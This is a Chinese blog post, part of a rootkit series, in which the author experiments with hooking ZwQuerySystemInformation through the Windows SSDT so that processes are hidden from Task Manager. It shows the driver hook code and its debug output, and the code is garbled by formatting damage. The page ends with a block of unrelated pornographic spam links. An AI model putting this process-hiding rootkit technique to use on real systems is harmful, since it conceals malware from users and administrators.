• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運轉,開心的工作
            簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

            HOOK SSDT Hide Process (八)

            Posted on 2009-10-28 14:38 S.l.e!ep.¢% 閱讀(333) 評論(0)  編輯 收藏 引用 所屬分類: RootKit
            HOOK SSDT Hide Process (七)

            HOOK SSDT Hide Process (七)? 的代碼雖然隱藏了進程,但會導致在 taskmgr.exe 全部進程看不到
            而且運行一段時間后, taskmgr.exe 就會非法關閉

            Q:
            今天突然發(fā)現(xiàn),如果 taskmgr.exe 中選中了 'Show processes from all users' 選項,還是可以看到其它進程的(taskmgr.exe成功隱藏),但為什么不選中就所以進程看不到?這么鬼異的問題估計要OD下 taskmgr.exe 才知道

            為了一查究竟,我把 MyZwQuerySystemInformation 修改成如下的代碼
            NTSTATUS?MyZwQuerySystemInformation(IN?ULONG?SystemInformationClass,?
            ????????????????????????IN?PVOID?SystemInformation,?
            ????????????????????IN?ULONG?SystemInformationLength,?
            ????????????????????OUT?PULONG?ReturnLength)?
            //定義自己的Hook函數(shù)
            {?
            ????
            ????NTSTATUS?rc;?
            ????UNICODE_STRING?process_name;
            ????
            ????RtlInitUnicodeString(
            &process_name,?L"taskmgr.exe");
            ????
            ????rc?
            =?(OldZwQuerySystemInformation)?(?
            ????????SystemInformationClass,?
            ????????SystemInformation,?
            ????????SystemInformationLength,?
            ????????ReturnLength);?
            ????
            ????
            if(NT_SUCCESS(rc))?
            ????{
            ????????
            ????????
            if(5?==?SystemInformationClass)
            ????????{?
            ????????????
            ????????????
            struct?_SYSTEM_PROCESSES?*curr?=?(struct?_SYSTEM_PROCESSES?*)SystemInformation;?
            ????????????
            struct?_SYSTEM_PROCESSES?*prev?=?NULL;?
            ????????????
            ????????????
            //if(curr->NextEntryDelta)
            ????????????
            //????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);?
            ????????????
            ????????????
            while(curr)
            ????????????{
            ????????????????????????????????KdPrint((
            "ProcessName:%wZ?NextEntryDelta:%d?\n",?&curr->ProcessName,?curr->NextEntryDelta));
            ????????
            ????????????????
            if(curr->NextEntryDelta)
            ????????????????????curr?
            =?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);
            ????????????????
            else
            ????????????????????curr?
            =?NULL;
            ????????????????????
            ????????????????
            ????????????}
            //?while(curr)?
            ????????????????????????
            ????????????????????????????????UnHook();????????????

            ????????}
            //?if(5?==?SystemInformationClass)
            ????????
            ????}
            //?if(NT_SUCCESS(rc))
            ????


            ????
            //?KdPrint(("HookZwQuerySystemInformation?is?Succeessfully.?\n"));
            ????return?rc;
            }

            在 DebugView 中顯示的內容如下:
            Entry?Hook?Function!
            Entry?Hook()
            KeServiceDescriptorTable
            ->ServiceTableBase?is?:0x804e2d20
            OldZwQuerySystemInformation?
            is?:0x8057cc27
            MyZwQuerySystemInformation?
            is?:0xf8f0c080
            Leave?DriverEntry
            !
            ProcessName:(
            null)?NextEntryDelta:248?
            ProcessName:System?NextEntryDelta:
            3528?
            ProcessName:smss.exe?NextEntryDelta:
            400?
            ProcessName:csrss.exe?NextEntryDelta:
            912?
            ProcessName:winlogon.exe?NextEntryDelta:
            1304?
            ProcessName:services.exe?NextEntryDelta:
            1176?
            ProcessName:lsass.exe?NextEntryDelta:
            1360?
            ProcessName:vmacthlp.exe?NextEntryDelta:
            280?
            ProcessName:svchost.exe?NextEntryDelta:
            1360?
            ProcessName:svchost.exe?NextEntryDelta:
            656?
            ProcessName:svchost.exe?NextEntryDelta:
            3664?
            ProcessName:svchost.exe?NextEntryDelta:
            464?
            ProcessName:svchost.exe?NextEntryDelta:
            1104?
            ProcessName:explorer.exe?NextEntryDelta:
            920?
            ProcessName:spoolsv.exe?NextEntryDelta:
            848?
            ProcessName:VMwareService.exe?NextEntryDelta:
            416?
            ProcessName:VMwareTray.exe?NextEntryDelta:
            280?
            ProcessName:VMwareUser.exe?NextEntryDelta:
            536?
            ProcessName:ctfmon.exe?NextEntryDelta:
            272?
            ProcessName:wscntfy.exe?NextEntryDelta:
            272?
            ProcessName:alg.exe?NextEntryDelta:
            584?
            ProcessName:cmd.exe?NextEntryDelta:
            264?
            ProcessName:conime.exe?NextEntryDelta:
            272?
            ProcessName:DriverMonitor.exe?NextEntryDelta:
            608?
            ProcessName:notepad.exe?NextEntryDelta:
            272?
            ProcessName:taskmgr.exe?NextEntryDelta:
            400?
            ProcessName:Dbgview.exe?NextEntryDelta:
            0?
            Unhook?leave
            !

            接著再做一個嘗試,如果直接把第二個線程的信息的 NextEntryDelta 改為0 , 是不是 taskmgr.exe 就會只顯示一條線程?
            NTSTATUS?MyZwQuerySystemInformation(IN?ULONG?SystemInformationClass,?
            ????????????????????????IN?PVOID?SystemInformation,?
            ????????????????????IN?ULONG?SystemInformationLength,?
            ????????????????????OUT?PULONG?ReturnLength)?
            //定義自己的Hook函數(shù)
            {?
            ????
            ????NTSTATUS?rc;?
            ????UNICODE_STRING?process_name;
            ????
            ????RtlInitUnicodeString(
            &process_name,?L"taskmgr.exe");
            ????
            ????rc?
            =?(OldZwQuerySystemInformation)?(?
            ????????SystemInformationClass,?
            ????????SystemInformation,?
            ????????SystemInformationLength,?
            ????????ReturnLength);?
            ????
            ????
            if(NT_SUCCESS(rc))?
            ????{
            ????????
            ????????
            if(5?==?SystemInformationClass)
            ????????{?
            ????????????
            ????????????
            struct?_SYSTEM_PROCESSES?*curr?=?(struct?_SYSTEM_PROCESSES?*)SystemInformation;?
            ????????????
            struct?_SYSTEM_PROCESSES?*prev?=?NULL;?
            ????????????
            ????????????
            if(curr->NextEntryDelta)
            ????????????????????????{
            ??????????????????????????curr->NextEntryDelta?=?0;
            ????????????}
            ????????????????????????
            ????????????????????????
            //????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);?
            ????????????
            ????????????????????????
            /*
            ????????????while(curr)
            ????????????{
            ????????????????????????????????KdPrint(("ProcessName:%wZ?NextEntryDelta:%d?\n",?&curr->ProcessName,?curr->NextEntryDelta));
            ????????
            ????????????????if(curr->NextEntryDelta)
            ????????????????????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);
            ????????????????else
            ????????????????????curr?=?NULL;
            ????????????????????
            ????????????????
            ????????????}//?while(curr)?
            ????????????????
            */????????
            ?????????????????
            //???????????????UnHook();????????????

            ????????}
            //?if(5?==?SystemInformationClass)
            ????????
            ????}
            //?if(NT_SUCCESS(rc))
            ????


            ????
            //?KdPrint(("HookZwQuerySystemInformation?is?Succeessfully.?\n"));
            ????return?rc;
            }


            情況還是?taskmgr.exe 中選中了 'Show processes from all users' 選項,就會顯示一條 System Idle Process 線程,如果不選中
            'Show processes from all users' 這個選項,那么 Taskmgr.exe 的列表就會顯示為空

            curr->NextEntryDelta?=?0; 那為何不把 curr 之后的數(shù)全部置為 0x00 ?
            于是,加多幾句代碼

            ??????????????if(curr->NextEntryDelta)
            ????????????{
            ??????????????????????????KdPrint((
            "SystemInformationLength:%d?\n",?SystemInformationLength));
            ??????????????????????????curr->NextEntryDelta?=?0;
            ??????????????????????????memset((
            void*)((ULONG)curr?+?curr->NextEntryDelta),?0x00,?SystemInformationLength?-?curr->NextEntryDelta);
            ????????????}

            此時,無論有無選中 'Show Process From all users'選項,所有進程都不顯示在 taskmgr.exe 了
            另外還發(fā)現(xiàn)兩個現(xiàn)象
            Q1. taskmgr.exe 調用 ZwQuerySystemInformation 時,ReturnLength?指針總是傳 NULL
            Q2. taskmgr.exe 調用 ZwQuerySystemInformation 時,SystemInformationLength 總是傳 0x6000
            難道 taskmgr.exe 并不是通過 NextEntryData 這個值來定位到下個進程的信息的?

            ?

            亚洲乱码精品久久久久..| 99久久国产免费福利| 亚洲欧美日韩中文久久| 久久天堂AV综合合色蜜桃网 | 精品国际久久久久999波多野| 国产精品视频久久久| 欧美激情精品久久久久久久| 日韩人妻无码精品久久久不卡| 国产69精品久久久久99| 热re99久久精品国99热| 欧美亚洲日本久久精品| 青青草原综合久久| 亚洲中文字幕无码久久精品1| 国产亚洲成人久久| 精品国际久久久久999波多野| 亚洲精品无码专区久久同性男| 狠狠狠色丁香婷婷综合久久俺| 国产99久久久国产精品小说| 精品一久久香蕉国产线看播放| 久久久久亚洲AV无码永不| 亚洲日韩欧美一区久久久久我| 99久久精品免费看国产| 91久久婷婷国产综合精品青草 | 99国产精品久久| 中文字幕乱码久久午夜| 一本色综合久久| 香蕉99久久国产综合精品宅男自 | 久久国产精品视频| 久久久久久久综合日本亚洲| 久久夜色精品国产欧美乱| 麻豆精品久久久久久久99蜜桃| 婷婷久久精品国产| 伊人久久大香线蕉综合5g| 伊人色综合九久久天天蜜桃| 亚洲欧美成人久久综合中文网 | 国内精品久久久久| 久久久国产乱子伦精品作者| 欧美精品久久久久久久自慰| 天天爽天天狠久久久综合麻豆| 久久久久久精品无码人妻| 久久久国产打桩机|